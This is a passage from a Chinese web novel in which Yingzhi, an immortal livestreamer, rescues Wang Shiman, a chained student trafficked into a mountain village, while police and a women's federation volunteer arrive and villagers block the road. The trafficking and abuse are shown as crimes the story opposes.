但他却并没有受太多影响,没有偏向她这一边不说,甚至还保留着原本就属于他自己的“坦然”,把自己对她的考量都给说了出来…… 这个看起来老实憨厚的人,并不像表现出来的那样老实。 也是个狠茬子。 果然,这里的人,知道自己做的不是什么好事,还是相当排外和谨慎的。 没个多年的累积,怕是到不了这样的程度。 这个村子,到底有多少人掺和进了这种事? …… 郑三家距离丁老头家还是有一段距离的,莺芝被郑三牵着走在路上,丁家的老幺陪同在旁,一路上没碰到什么人。 偶尔遇见几个,也只是笑着跟他们俩打招呼,对莺芝的存在完全就当没看见,没有多分一句话。 一路到底,莺芝的心也跌到了谷底。 不少,看他们的态度,基本对这种事都已经习以为常了。 或许,说句不好听的……整个村子都被牵扯进了这件事也说不定。 郑三家的院子坐落在村子另一侧,位置不算太好。 走到某家的门口时,红线小人在莺芝口袋里鼓动了几下。 它也知道眼下不是说话的时机,只动弹了几下,就消停了下来。 莺芝记下了这户人家,脚步未停,跟着郑三继续走。 没再走多远,郑三家就到了。 莺芝跟着走进大门,一个看起来有二三十岁的男人正坐着嗑瓜子。 见郑三回来,那男的忙迎了上来,走路时一高一低的,是个跛子。 “爹,你回——这谁?” 老幺往莺芝身前一站,得意洋洋:“我未来媳妇。” 跛脚男“呵”了一声,斜眼看他:“就你?我怎么记得你小哥也没娶媳妇呢?” “行了,别闹了。”郑三制止了俩小伙子之间即将爆发的口角战争,“都多大人了,还跟小孩一样,闹啥闹?就不能学学人万家老大? ” “你天天万家老大万家老大,那么喜欢他你去找他当儿子啊?” 跛脚男啐了一口,“再说了,他很好吗?昨天半夜都快跟他爹打起来了,你不是也知道吗?” 郑三骂了一句,碍于丁家老幺还在,也不能就这么收拾自家儿子,只能忍着气,把莺芝往前一拽。 他一脚踹上儿子那条好腿:“滚去开门,把她也关进去。” 跛脚男眉头竖起:“什么意思?” 郑三气不打一处来,骂道:“这是人家老丁家的好儿媳,让你那个赔钱的好好学学人家!懂了吗?” “挑挑挑,那么几个好生养的给你挑,非挑这么个丧门星回来,说什么就她长得好——长得好有什么用?扔了老子那么多钱,到现在还没教好,你非要气死我才行!” “看看人家老丁家的,这才叫好!” 跛脚面色不善地扫了莺芝一眼,撇嘴:“个子这么高,把她男人都给比下去了,有啥好的。” 老幺:“我呸!娘们高了儿子也高,你懂个屁!” 眼看俩人又要吵起来,郑三再忍不了,一把薅下跛子腰里的一串钥匙,走到院子里一间偏房前,把加了少说有四五把锁的门给打了开来。 随后,他把莺芝推进去,重新把门锁上。 把人送到,老幺没了留下的理由,甩手离去,跛脚也呵呵冷笑,重新回到他的专属座椅上,嗑起了瓜子,院子里的闹腾总算告一段落。 莺芝还没接近偏房时,就嗅到了一股不怎么好的味道。 而当她被关进来后,那股味道就更加地浓了。 腥、臭、肮脏,排泄物、血气……多种不明的恶气味混杂在一起,杂糅出了这种冲得人头脑都要发昏的气味。 身后的门被重新关上,偏房里连窗户都被从外边堵上,没有任何光源,一片黑暗。 莺芝一颗心已经提到了嗓子眼,她慢慢抬脚,放缓步子,一步步,轻轻地靠近着房间最里、有着另一道呼吸声传来的位置。 忽然,一阵铁链哗啦的声音响起,莺芝脚步一顿,只听一连串压抑着的咳喘传来,还有时断时续,不成词语的音节。 “……咳咳、咳!……呼……滚、死……咳,咳咳……不嫁……” 说不清楚是酸涩还是难过的情绪缓缓生出,化作丝丝缕缕的线,从四面八方缠住了莺芝的心。 她忽然有些想要叹息。 红线小人适时从她口袋中跳出,飞快把她手上的绳子给解开。 莺芝活动了一下手腕,压着步子,尽量没有什么声息地靠近着声源——墙边的角落里,有一团缩起的影子,正缓慢地上下起伏着。 随着越走越近,那股刺鼻的味道也愈发的浓重。 莺芝没有停下脚步,仍旧轻缓却坚定地朝那个方向走去。 尽管如此,对方似乎仍然敏锐地察觉到了忽然多出的、属于陌生人的气息,那团黑影整个地抖动了起来。 似乎有什么本能,破除了原本笼罩在身上的浑浑噩噩,像一根抚不平弯不折的刺。 尖锐地、猛烈地。 “……滚!不要碰我!” 莺芝眉眼低垂,在对方一步外停住,她扬起手,一团滢滢的光自指尖凝聚。 红线小人猛地窜上来,抱住了她的手指,红豆眼明晃晃表示着抗议和阻止。 这是用来维系身体正常活动的灵力,眼下根本没有能够补给的地方,完全就是一次性的消耗品——现在给用了,她之后怎么办?! 莺芝无声地摇了摇头。 红线小人会意,知道她坚持如此,只能不情不愿地退开。 那团光芒自莺芝指尖飘落,朝着地上团起的人影飘去,隐入对方体内。 几乎是下一秒,对方急促无序的呼吸便已趋于平稳,周身萦绕的焦躁和痛苦也平复了许多。 莺芝蹲下身,在其耳边轻轻开口。 “你醒着吗?” 那团黑影缩了缩。 莺芝没有动,也没有催促,安静地等待着。 不知道过去了多久,对方终于发出了声音。 “……你是谁?” 是道女声,但已经哑得不成样子。 莺芝浑似未觉,嗓音温和:“我是一名主播,意外来到了这里,想要揭露这里的罪恶。” 显然,对方万万没想到会是这么个答案,身体猛地一抖,估计带起了什么伤处,接连又是一阵连锁地颤动。 莺芝轻轻叹了口气:“你不要急,我们还有时间。” “……又是什么试探我的套路吗?” 勉强平复下颤抖后,女声的内容却是连莺芝也有些意外的,“我说了,我不会嫁,不想嫁,我家不在这里……如果有机会,我是一定会跑的,你们不用试探我,就算试探,我也会跑……我一定会上钩。” 莺芝双瞳微微泛起涟漪,似有怜惜蕴藏。 她从乾坤袋里取出手机。 “那么,你要不要上我的钩?” 女声一顿,似乎很震惊于她竟然到了这时候还有手机,又停了很久,才开口:“好。” “……但是这里应该没信号。” “我知道。” 女声不再犹豫,她说:“我叫王诗蔓,首都大学的大二学生。之前坐大巴回家的时候,在服务区上厕所,不知道怎么就被迷昏了。” “然后就被弄到了这里。” 她说话时,莺芝在细细观察她的状态。 屋内昏暗,但对她来说还算可以,能够视物。 所以她能够清楚地看到,王诗蔓身上遍布血污、已经不成样子的褴褛衣物,以及她裸露在外一切皮肤上的斑斑伤痕血痂。 最刺眼的,当属她脖子上那一根,几乎有婴儿手臂粗的铁链子。 王诗蔓低着头,一点也不迟疑地叙述着自己的经历。 “我之前试过要跑,但没跑出去,被他们抓了回来。然后就是各种毒打,绳子也换成了铁链。所以一时半会应该是没机会跑的。” 或许是并不知道莺芝在看自己,她的神情时而痛苦,时而挣扎,显然,来自于身体的不适不是莺芝那一小团灵力就能完全抚平的。 但她的语气却始终坦然,带着浓烈的恨,和不移的坚定。 “但没关系,我一定会跑,我不会放弃。他们别想留住我,只要打不死我,我就一定会回家。” 莺芝很轻地笑了一下: “嗯,你一定会回家的。” 随后,她又简单问了一下这个村子的情况。 可惜对方基本一直在被囚禁,知道的并不多。 接下来的时间,两人说说停停。 王诗蔓精神不太好,说不了几句,就得歇上一会儿。 中途,莺芝想替王诗蔓简单清理一下,被非常坚决地拒绝了。 莺芝明白,对方不想让她看见自己某些地方的狼藉。 她也不多说,只把软帕递了过去。 王诗蔓却主动提议,用手机拍一下伤口和锁链,作为未来可能用得上的证据。 入夜,紧锁的门又一次被打开。 跛脚男和另外两个男人扛了个大桶过来,里头装了点水。 他们直接越过莺芝,把王诗蔓提了起来,扔进了水桶里。 三人一起,动作没有丝毫怜惜地把王诗蔓连人带衣服给“刷洗”了一遍。 有了莺芝在这里,王诗蔓心里安定了许多,虽然不知道对方为什么那么一副胸有成竹的样子,但无端也跟着镇定了一些。 她不叫不闹,任由几个人搓洗折腾,扮演着一个已经麻木木头。 三人对她这么配合的态度很满意,连带着对莺芝也满意了一点。 把王诗蔓洗了一遍后,他们丢下几件干净的衣服,抬着桶又离开了,房门重新落锁。 莺芝动作轻柔地帮王诗蔓换上新的衣服,尽量不去碰到她的伤口。 王诗蔓仍旧被巨大的铁链锁着,但好歹身上干净了一些,人也轻松了不少,靠在莺芝身上,缓缓睡了过去。 夜半时分,王诗蔓忽然发起了热。 莺芝检查了一下她的情况,一时也说不准是受凉了,还是因为伤口发炎,又或是一直吊着的那口气在见到莺芝后稍微放松了一些的缘故,总之是烫得吓人,必须立刻救治。 没有考虑拍门求助郑家那些人,她直接叫出红线小人,吩咐道。 “你现在带上手机去找信号,报警,然后用我的账号公开发布动态,简单说一下这件事。” 原本她们的计划是,等到明天,所谓“办事儿”时,再让它去报警,好抓他们个现形。 而且白天相较于晚上,总要方便王诗蔓行动一些。 可惜计划赶不上变化,经了晚上那一遭的“清洗”,王诗蔓现在发起了高烧。 这可是严重起来能要命的病。 不能再等了。 王诗蔓现在昏迷,莺芝也不再藏拙,指尖灵力微闪,沿着她脖子外一些把铁链弄了下来。 随后,已经溜到门外的红线小人也从外边把那些锁给一一打开。 它开门用的是自己身体,现在整根绳子都灰扑扑的,裹着一层油,又沾了灰,狼狈得很。 莺芝把手机递给红线小人,让它先一步离去,而后看了一眼身后的黑屋,以及主屋那边刚亮起的灯火,眼神微冷,抱上王诗蔓,直接从大门走了出去。 犬吠阵阵。 宁静的小村落在后半夜忽然整个从睡梦中醒了过来。 一切吵闹的根源来源于郑三家。 ——他家的媳妇又跑了。 据郑家那个跛脚儿子说,他们睡着睡着听到院子里锁门的那些链子好像被谁给动了,哗啦啦地响,结果起床一看,偏房里已经没人了。 和那个媳妇一起没的,还有丁老汉家的新媳妇。 临时拉起的村夜会上,两家差点打起来。 好在村长万德全及时制止,并主持大局,让大家先去把人找回来再说。 “夜黑风高的,容易出事故。” “前几天阿措他娘不就那么没的吗?人最重要,快去找吧。” ——是这么说的。 于是所有村民们一起,分散村中各处,开始找人。 与此同时,某户人家的后院中。 莺芝怀抱王诗蔓,淡淡看着面前的人。 “——她发烧了。” “万措,你准备叫他们过来吗?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 熹微 却说莺芝带着王诗蔓走出郑家大门时。 她们人还没走出几步,身后院子里就传来了开门声。 眼看动静要愈来愈大,莺芝脚下一拐,进入了两户人家之间砌墙时留出的窄道。 她边走,边飞快整理着思绪。 红线小人跑到有信号的地方估约莫着得二十到三十分钟; 报警后,即便对方立刻出警,距离乡镇到这里也得一个多钟,更别提还不可避免地得有准备和核对的时间,这样一来,时间上就得留出更多消耗的余地了。 所以,她现在需要带着王诗蔓尽可能地避开即将到来的搜寻,尽可能地拖延时间,尽可能地往外走。 两个小时,是最低最低需要保证争取到的时间。 而且,挡在她们面前的,还有一个相当重要的问题—— 这里的相关部门到底知不知道这些灰色的产业?有没有人给村子的这类产业开保护伞?他们会理会这类的事情吗? 只要这个问题还在待定中,莺芝就无法保证,红线小人报警后、来的会是解救无辜受害人的青天,还是另一只罪恶的手。 更甚至……他们到底会不会来? 所以,她并没有把所有希望都投注在这一方面。 最关键的一手棋,在她的账号上。 莺芝现在还算比较懂得运用自己的优势。 她姑且也是个相当有影响力的主播,小半个公众人物,一举一动都会有许多人在关注。 几天没有进行直播,粉丝和观众们本身就在等,等她的出现。 那么如果这个时候,她的账号发布了一则有关主播遇险、涉及被拐卖,并向大家求助的内容……毫无疑问,会引起相当大的风波。 即便现在在深夜,村中人户大多已经入睡,可离了这种地方、擅长夜间冲浪的却也大有人在。 更别提对于许多城市的人来说,现在才是夜生活的正当中——完全不怕没有关注度。 以红线小人的聪慧,虽然她没交代太多,但它肯定知道要怎么做——它相当机灵。 一场即将出现的、名为“舆论”的压力,是莺芝在本地有关部门头上造出的一把裁夺之剑。 这样的话,无论对方是好是坏,有了这种压力后,都能够更大概率地正视起这件事。 哪怕他们一时半会儿并不打算理会,也会有更高级的相关部门介入,促使他们必须面对,只不过需要等更久一些罢了。 而即便这些都行不通,莺芝也能带王诗蔓离开,只不过要付出一点代价而已。 等带着王诗蔓离开,她们可以回到大城市后再报警。 办法千万个,她总归是个神仙,还是能做到一些事的。 既然她来到了这里,见到了王诗蔓,那么王诗蔓就一定会周全地回家。 思绪电转,暴怒的大喝自郑家院子里传来,更大的吵嚷声随之响起。 莺芝止住念头,把王诗蔓往上托了托,步履快而轻,在狭窄黑暗的小道里穿行着。 夜里风凉,冬夜的寒风直往人骨头里钻。 莺芝手腕一翻,又取出件厚一些的衣服,把王诗蔓整个裹了进去。 依照白天走过一遍的路,她目标明确地在一家又一家的夹道中穿行着。 她的身后,一家又一家的灯光涟漪般呈扩散之势次第亮起。 不知道谁家养的狗大声地吠叫着,村子在逐渐醒来。 王诗蔓烧得迷糊,意识昏沉,本能地靠近热源莺芝,又想挥开身上的厚衣服。 微弱的呢喃从她口中传来,破碎不成句。 “妈妈……” 莺芝暂时停下脚步,探了探王诗蔓的状态,略一停顿,指尖再度点上她眉心。 不甚明亮的一点柔和光芒渗进王诗蔓眉宇间,她紧皱的眉头缓缓松开,脸上的痛苦之色减轻了许多。 莺芝平复了微微有些紊乱的呼吸,不得不重新思量起接下来的计划。 王诗蔓的状态太差,即便她可以短暂给予一些灵力,但毕竟不是适宜凡人体质的药,只能减轻一些痛苦,没办法和药对等。 而以现在这种,她需要时不时给予对方灵力的情况,也不太能带着人走回乡镇县城的医院。 不能走了,需要优先寻找药物,或找个安全的地方暂时安置,等待红线小人的归来。 药物是首要的。 药—— 莺芝抬起头,辨别了一下方向,脚下一转,回身,朝着刚刚走过的方向行去。 她想到了一个人。 几分钟后,莺芝站到了一家的侧墙外,倾听着不远处的动静。 前边,砰砰砰的拍门声刚过去,一个有点糙哑的男声从院子里离开,任由另一道年轻些的男声再如何劝说,也依旧跟着吵闹的人群逐渐远去。 确认人群走远后,莺芝没有再犹豫,抱着王诗蔓转出了夹道。 一道清瘦的身影正站在院门的大灯下,望着远去的人群,脸上表情晦暗,复杂难明。 莺芝在他两步外站定。 那人似有察觉,转头看来,眼瞳骤缩。 “——小莺?!” 莺芝站定,微仰起头,看向在高一级台阶上立着的年轻男人。 对方惊疑不明,正想追问,却忽然注意到她怀里还抱着一个人。 他更加震惊。 “……这是?!” 莺芝没有解释,只是看着他,声音平静:“她发烧了。” 她侧转眼眸,看向人群离去的方向。 “万措,你准备叫他们过来吗?” 万措张了张嘴,哑然一瞬,眼底似有屈辱闪过。 “……你认为,我是会做那样事情的人吗?” 闻言,莺芝没有再就这个问题说什么,她单刀直入: “有药吗?” “……有。” 万措定定地看了她怀里被裹着的人一眼,退开几步,让开门口的位置。 “进来吧。” 莺芝也不纠结,直接抱着王诗蔓走了进去。 她之所以选择来找万措,最大的倚仗就是,她看过万措的缘线,也看过他的命理,算是对他的性格和处事有一定的了解。 无论他和村里这些产业有没有关系,知不知情,又是如何看的—— 在发现莺芝和王诗蔓后,他都有极大概率不会选择把她们控制住,而是会本能地保持彬彬有礼、矜持礼貌的作风。 对莺芝和眼下的王诗蔓来说,这就足够了。 在万措的带领下,莺芝抱着王诗蔓来到了主屋西侧的屋子。 “这是我的房间,”他指了指干净整洁,只有少许褶痕的床铺,“可以让她先躺上去,才换的新床单。” 说话间,万措动作未停,走到了自己的行李箱旁边,拿出一个四方的小 药包,拉开拉链后,里边整齐摆放着许多药品。 他回头看了一眼,莺芝正把裹在王诗蔓身上的衣服拿下来,试她的体温。 “只是发烧吗,着凉了还是?还有没有别的症状。” 见莺芝微微蹙眉,万措补充道: “家里现在只有我自己在,不管发生了什么,可以放心先吃药。” “可能都有。”莺芝道,“她身上很多伤口,晚上又沾了水,忽然就烧起来了。” 万措动作一顿,也皱起眉,显然想问什么,但嘴唇动了动,还是没有问出口。 他倒了一杯温水,把相应的药拿了过来,递给莺芝,附带的还有一支温度计。 “消炎药,退烧药,一起吃吧。” 莺芝点点头,接过药和水,一点点喂给王诗蔓。 王诗蔓人都不清醒,这通药喂得很困难。 万措看了两眼,大步走开,到了一旁的书桌边坐下,开始翻看着什么书。 他什么也没有多问,什么也没有说。 等莺芝给王诗蔓喂完药,把水杯放下,万措才从书里抬起头,递过去一包湿纸巾,看向她。 “你怎么会在这里?” 莺芝抽了张纸巾擦拭手上的水渍,声音平静: “我来给你父亲算卦。” 万措脸上划过一抹错愕。 毫无疑问,他完全没有想过会是这么一个答案。 提起这个,莺芝又看了他两眼。 “你母亲呢?下葬了吗。” 万措沉默了下去。 好像这个普普通通的问题是什么极难回答的诘问一样。 良久,他才痛苦地将脸埋进掌心,发出一声似哭似笑的呜咽。 “……没有。” “你想说吗?”莺芝问。 “……”万措又沉默了一会儿,屋里安静得只剩下了呼吸声。 几分钟过去,他才缓慢地开口。 “我知道他不在意我母亲,但我没想到,他竟然……” 或许因为莺芝不是这里的人,与这里的人都不熟悉,也可能因为她是唯一一个他在外边认识、却知道这件事的人,抑或她在他的印象里,向来扮演的都是一个倾听者—— 种种情志所致,他像是打开了话匣子,把这几天的郁结于心的闷燥和痛苦一股脑地吐了出来。 “我当时打电话回来,明明说过了,让他们等我回来,等我回来……可是,我紧赶慢赶,回来后得到的只是他已经把我母亲的尸体送出去了的消息……” “我不知道他们为什么一定要做到这种地步,为什么连死,他们都不肯给我母亲一个安稳——” 语速渐渐提快,压抑的情绪也逐渐走高,万措闭上眼,狠狠揉了一把脸。 “白天的时候我去找了,没有找到。不过没关系,明天我还会去继续找……一直找……” 他喉头滚动几番,眼眶发红,隐隐带着红色的血丝。 英俊的面容无端生出一些狰容。 莺芝静静地听了一会儿,看了他片刻,忽然开口: “这样做,会让你觉得心安吗?” 冷不丁的询问,把万措从自己的思绪中拉出。 他一滞,旋即面露困惑。 这问题来得太突兀,任谁一时都很难理解。 莺芝也意识到了话题的跳跃,于是她解释道: “即便明明知道,找到了也不能改变什么,依然没办法为她迎来尊重和体面,但你依旧会‘不厌其烦’‘不遗余力’地寻找你母亲的尸身……——是因为这样做,会让你受到煎熬的心好受一些吗?” 万措怔怔然愣住。 莺芝复又道:“你现在的举动,无异于是知道自己做错了事、所以在给自己找理由,找一个让自己原谅自己的理由。” “万措,你是在感动自己吗?” 万措已经意识到了她在说什么。 他五官有那么一瞬似有扭曲,可很快又恢复。 在接下来几秒钟内,万措所表现出的痛苦和挣。扎都消失不见。 他迅速地整理好了情绪,重新恢复了最开始那副彬彬有礼进退有度的样子。 像是带上了一张面具,把短暂泄露的、真实的一切再次遮盖。 “我不明白你在说什么——将去世的母亲安葬,是每个做子女的应该尽的义务。” “不是吗?” “是。”莺芝笑了一下,笑容里却没有什么温度。 她查看着王诗蔓的状态,嗓音轻轻,意有所指: “你还有什么想问我的吗?” 万措微笑着:“没有了。希望你在这里玩得开心。” “嗯。” 莺芝也不再言语,为王诗蔓掖好被角,闭上了眼睛。 万措看了她们一会儿,收回视线,继续看书。 屋内再度沉寂下来。 二十来分钟过去,外边来往的人声愈发密集。 期间,有人拍响大门,扬声朝里喊万措的名字。 万措披上外套,起身出门。 两分钟后,他重新回来,再度坐回了自己的位置上。 他依然什么也没有说。 不打算和莺芝闲聊外边那些人在做什么,也不问莺芝两人是什么情况。 他保持着极度的冷静,像是台没有任何好奇心的机器。 外界的一切,都没有面前的书本能够令他沉迷。 挂钟滴答滴答,短针无声无息走过一个数字。 外边的吵闹声消停了许多,像是已经排查完了这一片,转移去了下一个区域。 大门又一次被拍响,万措皱了皱眉,起身外出。 等他这次返回,却没有继续保持沉默,而是径直对莺芝道: “我父亲摔了一跤,可能快要被人送回来了。” 说话时,他神色间不见焦急与关切,仿佛只是在说一个没什么关系的人。 莺芝点了点头,探了下王诗蔓的温度,已经好转了许多,没有刚来那会儿的烫了。 她拿出来时裹着的衣服,重新把人包好,背在了背上。 万措披着外套,打开房门,先一步走出去,让开位置引着她们往外走。 莺芝背着王诗蔓,从万措打开的大门走了出去。 门口还是亮着那盏门头灯,空无一人,但遥遥可见蜿蜒道路的另一端,有一些光束正聚堆朝这里来。 应该就是送万措父亲回来的队伍了。 莺芝收回视线,带着王诗蔓离开。 迈出第一步前,她稍微偏头,看向站在门口的人。 “记得观看我下一场直播,我会在那时兑现承诺你的卦。” 这是她今晚第一次提起直播的事。 也是第一次侧面提起他们两人之间主播与观众的关系。 万措一愣。 莺芝却已经步入了夹道。 万措本能向前迈了一步,想问问原因,但意识到自己在做什么后,又飞快地收回了腿。 他脸上的表情在很短的时间里消失,沉默地等待着父亲的归来。 王诗蔓状态好了不少,莺芝也放心了很多。 她不再在这里耽搁,朝着一开 始的方向走去。 王诗蔓服用过药物,她们就没有必要再待在这里,现在的目标,要恢复最开始的了——离村。 红线小人不知道遇到了什么,到现在都还没有回来跟她汇合。 莺芝不担心它会遇到危险,只怕它被凡人瞧见。毕竟也是个有灵力的,山间的蛇鼠虫蚁无论如何也奈它不得,但要是被凡人抓个正行,那可是违反了天庭的规则,要受罚的。 但不管怎么说,现在先朝村外走总归是没错的。 奇怪的是,这一路走来都没碰到什么人,莺芝还刻意绕了些远路——不止狭窄难行的夹道没有人,连带着村道上都没太多人。 先前那些在吵闹的,似乎都已经离开了。 去哪了? 排查完了村里的大小路,现在去了山上? 莺芝远望了一下夜幕下的山间,看不见什么亮光。 她收回视线,专注脚下,抬步登上路边的山坡,隐入树丛。 村子依山而建,种植着作物的田地,以及村民居住的房屋,基本都是在较缓的山坡上建的,还有数条溪流自山间流过。 没有被踩出道路和开垦成田地、建立房屋的位置,则多生长着树木。 离开房屋聚集的区域后,只有木丛才是能够遮掩身形的“掩体”——下方的道路和田地都相对空旷,几乎是一目了然的,不能走。 更保险的当然是往更高处去,树林茂密,更好藏身,如果找到了好地方,藏上个一天两天的也不是问题。 但…… 想到什么,莺芝叹了口气,把王诗蔓往上托了托,只沿着离小径不远、刚好能遮掩一些身形的矮坡往前走。 以莺芝原本的速度,这段路要走下来,十几分钟绰绰有余。但眼下还带着王诗蔓,她自己状态也不是完好,生生多走了一半的时间。 半个多小时后,弯弯曲曲的道路即将抵达尽头。 莺芝在稍上方一些的树丛中,看着那边一片连绵的手电灯光。 丁老头杵着拐杖,站在小路和马路的岔口——先前莺芝到这里时,面包车停放的位置。 他板着一张老脸,声音发沉:“小雀儿,你不要听了那个贱人的唬弄,老老实实跟我们回家,什么事儿都不会有。” 隔着几个人的地方,丁家老幺攥着一根棍子,跟郑三家的跛脚儿子大眼瞪小眼,都是忿忿。 “我媳妇要是找不回来,你家得赔!” “放你的狗屁!不是你家那个死货带着,一个站都站不起来了的娘儿们能跑?”跛脚男吐出一口唾沫,怒骂,“我媳妇找不回来,你才该死!” 郑三也神情郁郁,恼恨地站在路边,听着他们的吵闹。 一个站在众人中心,个子不算太高的男人发出一声叹息,制止了他们的争吵。 “好了,都是一个村的,有什么好吵的呢?这不是都出来帮忙找了吗,赶紧把人找着才是要紧的。” 他道:“去山上的那拨应该也已经到了,今儿个他们都不会走,咱们也只要守好这儿,把着山和路,就绝对没问题——” “两个小娘娃,一个哑巴,一个半死,能跑哪去呢?你们也别光顾着吵吵,多注意点周围,别把人给漏过去。” “小德叔说得对。”丁家老三手持铁锹,一双眼仔细地打量着四周,“人丢了,找回来就行了,有什么吵的。” “还是人家老三靠得住。” 被称为小德叔的老者摇头笑道,“咱们这啥地方你们还不知道么?用阿措的话说,这叫世外桃源——与世隔绝的嘞!” “她们既然到了咱们这儿,进了村,那生就是这儿的人。” “别到时候人还没找到,你们自己先搁窝里斗了起来。” “知道了吗?” 两人纷纷低头: “……知道了。” “是,村长。” “行了,散开去把守好,瞪大眼瞅着,别错过她们了就行。” ——看样子,村里之所以没什么人,是因为他们把人分成了两拨,一拨去山上寻找,一拨则来堵路。 这里本就偏僻,再加上是夜晚,更不会有什么人路过,所以他们堵路堵得心安理得,堵得全然不虚。 一行人分散开来,把山下这一片都给围严实了。 但凡是想要离开村子的,那要么躲去山上,要么就是从山中过,来到大路上。 不管是哪个,他们都把路给堵死了。 他们编了个巨大的网兜,只把守着兜口,等待着出逃猎物的落网。 对于任何一个陷入这种境地的女孩子而言,眼下的情况,都几乎是一个死局。 在山上躲到他们放弃寻找? 天寒地冻,缺衣少食地在山里度日,难之又难。 逃离这里? 路都已经被卡住了,根本行不通。 不过莺芝却不着急。 如今她和王诗蔓的境遇,比起王诗蔓试图逃脱的曾经来说,有一个巨大的不同点。 信息差。 村民们这一切计划能够依照预期达成的前提是:她们无法联络上外界。 一个普通女孩子,在落到不法分子手里时,身上的物品就会遭受一次洗劫,通讯设备什么的都会被拿走。 而后孤身被带到一个杳无信号的深山老林中,举目无亲,四下无友,孤立无援,更不可能达成联系外界的条件。 所以他们的计划能成。 但这些,在莺芝面前却都失去了效用。 莺芝的设备,他们拿不走。 对外的讯号早已发出,她们所需要做的,只是等待而已。 所以,莺芝极富耐心地,找了个安全位置,停了下来。 她席地而坐,扶着王诗蔓,静静地观察着下方的人群,以及隐入层叠山体的道路尽头。 时间一分一秒地流逝着。 期间莺芝想要拿出手机查看一下外界的情况,却担心会被对方发现亮光,稳妥起见,还是选择了按兵不动。 不知道又过去了多久,或许一个小时,或许两个小时。 久到浓重的夜色都缓缓变浅—— 灰暗的天边渐渐染上一片亮光,迅速地朝这边蔓延开来。 下方散乱的村民们也注意到了这一状况,轰然炸锅。 在村长的指挥下,吵闹只持续了很短的时间,人群就再度有条不紊地被组织了起来。 几名村民拿上铁锹木棍等做武器,朝着传来光亮的方向走去,一字排开拦在了路中间。 他们用自己的身体做路障,把未知的来客,挡在了近百米开外。 很快,对方行近,抵达了“人障”边。 那是好几辆车组成的车队。 有警车,有救护车,还有看不出是什么的寻常车辆。 许多人从车上下来,和充当人障的村民们站到了一起,两方很快产生了交集。 莺芝催起灵力,细听动静。 太远的她听不到,只能依稀听到村民们人传人的一些话。 他们说,来人在陈述收到的“警情”通报,表明收到报警电话,就在当下的位置、就在此地,发生了命案,还牵扯到了某位具有百多万粉丝的名人。 另外,他们还询问起此地发生了什么事情,需不需要出面帮忙。 村民以找狗为理由,拒绝了对方的好意,并对所谓的“警报”一问三不知,表现得极其无辜—— 不过在那之后,所谓“百万粉丝的名人”被前排的村民人传人递回,始终守在路口附近的丁老汉和陈三脸色骤变。 他们完全想不到,这种人是怎么牵扯到这里的。 一百万人数? 那样的大人物,他们怎么可能认识? ——这些人的到来,到底和自己村子里的事有没有关系? 是有预谋的,还只是意外? 双方交汇处,村长万德全一口咬定,村民们彻夜都在这里找狗,完全没有见过什么大人物,也没见过谁受伤,什么命案,根本没听说过。 “肯定是谁在跟你们开玩笑!”他道,“我们村里安稳的很,哪见过什么命案啊……哎哟,别吓我们了。” “——同志们,我知道你们跑一趟不容易,但是这儿真没有什么报警的人啊!要是没啥事儿,就回去吧,我们还得找狗呢,这狗是我媳妇当儿子养的,珍贵得很,找不着她非得生一场大病啊!” 万德全扬声,朝人群后方的村民们喊着:“你们谁报警了吗?谁打的报警电话?出来跟同志们道歉!” 村民们都摇头,表示不是自己打的,等回去了要问问是不是自己媳妇女儿打的云云。 警察医生们倒 是也犯了难。 收到的电话里给出的地点就是这里不错,但这里没有报警人……也确实看不出有什么发生了命案的样子。 他们正犹豫,一道女声忽然插了进来,态度坚决。 “有没有,是不是,不是你们说了算的——谁知道她是不是已经被你们控制了,或者被你们害了?” 一个年轻女性从人群里走了出来,站到最前排:“让我们过去,我们要亲自查看。” “你又是谁?”村长旁边,一个拿着锄头的男人粗声粗气怼道,“关你什么事儿,哪有你说话的份?” 女性冷淡地瞥了他一眼,从脖子里拉出张工作牌,肃容道: “崔梦语,妇女联合会的志愿者。” “我们收到的信息需要我们亲自验证,希望你们配合我们工作。” “如果拒不合作,”她掷地有声,“后续我们会向上抗议,会有更多人将目光投注到这里。那应该不会是你们想要看到的局面。” 被她怼了一通的男人一哽,下意识看向了自家村长。 万德全也冷下了脸:“小姑娘,我们怎么会妨碍你们的工作?” “刚刚你们也说了,你们接到的电话里说的就是这——你们现在已经到这里了,去展开你们的工作啊,谁也没拦着不是?” 他呵呵:“谁给你们发的信号,你们找谁,不是我们打的电话,我们有什么配合不配合的呢——” “你们找到给你们发信号的人,继续你们的工作就行了,咱们互不相干,这才是正确的,你说是不是?” 崔梦语咬牙:“你……!” 两方僵持不下。 眼看事情就要卡在这里不上不下,无法推进,警车和救护车的人员两厢一合计,便也有人找到崔梦语这边。 “小崔啊,他们说的其实也在理……” “咱们现在找不到报警人,也看不到伤员,没人承认,就凭着一个子虚乌有的网络消息,确实不能强行闯啊……” “没准是谎报呢?” 崔梦语焦急:“那可是小莺——!怎么可能会谎报!” “她现在说不定遇到什么危险了,我们既然都已经到了,怎么能不管?” 一人无奈道:“网红为了炒作,什么做不出来?原本这可能就是一件小事而已……” 崔梦语仍然不愿意让步:“不行,必须找。你们难道不觉得他们拦在这就很可疑吗?” “疑罪从无,这是规矩,也是道理。小崔,你年纪还小,不懂这些,不要太固执了。” “你们——” “报警人不在,说什么都白搭,懂了吗?” 几方人马你一眼我一语,崔梦语很快就被堵得说不出话来。 眼看大家就要这么离开,她哭丧着脸,看向身边的年轻男人。 “文哥,这怎么办……小莺她真的在这里吗?她会不会已经遇到什么危险了……” 与此同时,百米开外的山上,莺芝接住了终于返回的红线小人,从它这里了解到了最前方的情况。 它拨打了报警电话、急救电话,发布了配有小黑屋照片的动态表明自己受到生命威胁、性命垂危后,又给文隽也打去了电话。 它竟然还知道搬天庭的救兵。 莺芝有点哭笑不得。 随后,文隽不知道用了什么手段下来,把红线小人也招了过去。 了解完详情,他带着红线小人去了妇女联合会的所在,意外见到崔梦语,而后跟着车队一起赶往了这里。 也算都尽了力。 莺芝略做思索,捋顺当前情况后,把王诗蔓重新背了起来。 前路已经铺好,比预想中还要好。 最后的这一段,就需要她亲自去闯了。 她偏头,蹭了蹭肩头王诗蔓的脑袋,声音很轻,柔和得像是一缕暖风。 “再撑一下,马上可以回家了……这是最后一关。” 天边隐隐有光渗出,熹微的光薄而微凉。 王诗蔓迷迷糊糊地醒来,在渐亮的环境中,看见莺芝的侧脸。 她第一次看清这个陪伴在身边一天一夜的人。 在天光下。 她喃喃:“是你啊……” “你是……来救我的神仙吗?” 第72章 脱出 天已经快要亮了。 似乎永无边际的黑夜被最初的晨光驱赶,浓稠的黑暗悄无声息地淡去了许多。 几方人仍然在对峙。 